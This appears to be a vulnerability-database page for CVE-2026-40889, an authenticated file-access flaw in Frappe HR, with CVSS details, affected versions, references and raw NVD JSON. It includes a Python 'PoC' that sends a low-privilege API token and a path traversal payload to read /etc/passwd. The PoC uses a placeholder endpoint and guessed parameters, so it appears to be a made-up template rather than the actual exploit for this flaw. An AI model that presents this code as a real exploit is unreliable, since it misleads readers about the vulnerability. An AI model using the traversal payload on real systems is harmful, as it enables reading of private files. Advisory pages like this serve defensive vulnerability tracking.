CVE-2026-40889

Description

Frappe HR is an open-source human resources management solution (HRMS). Prior to versions 15.58.2 and 16.4.2, authenticated users can access unauthorized files by exploiting certain api endpoint. Versions 15.58.2 and 16.4.2 contain a patch. No known workarounds are available.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:* - VULNERABLE

Frappe HR < 15.58.2

Frappe HR < 16.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable Frappe HR instance
url = "http://vulnerable-host/api/method/endpoint.targeting.file.access"

# Headers with authentication (Low privilege user required)
headers = {
    "Authorization": "token <low_priv_api_key>:<low_priv_api_secret>",
    "Accept": "application/json"
}

# Malicious payload to read unauthorized files
# The specific parameter name might vary depending on the exact vulnerable endpoint
data = {
    "path": "../../../../../../../etc/passwd",
    "cmd": "read_file"
}

try:
    response = requests.post(url, headers=headers, json=data, timeout=10)
    if response.status_code == 200 and "root:" in response.text:
        print("[+] Exploit successful! Sensitive data leaked:")
        print(response.text)
    else:
        print("[-] Exploit failed or target patched.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40889
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40889
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40889/
[4] VulDB https://vuldb.com/cve/CVE-2026-40889
[5] https://github.com/frappe/hrms/releases/tag/v15.58.2
[6] https://github.com/frappe/hrms/releases/tag/v16.4.2
[7] https://github.com/frappe/hrms/security/advisories/GHSA-6cg5-4q6m-vrgm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40889", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.680", "lastModified": "2026-04-27T19:39:11.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe HR is an open-source human resources management solution (HRMS). Prior to versions 15.58.2 and 16.4.2, authenticated users can access unauthorized files by exploiting certain api endpoint. Versions 15.58.2 and 16.4.2 contain a patch. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.58.2", "matchCriteriaId": "6D6D7E58-ED65-4DD1-B73B-35A959BC2163"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.4.2", "matchCriteriaId": "7070442C-3FBA-4796-A5FB-5D195083537E"}]}]}], "references": [{"url": "https://github.com/frappe/hrms/releases/tag/v15.58.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/hrms/releases/tag/v16.4.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/hrms/security/advisories/GHSA-6cg5-4q6m-vrgm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}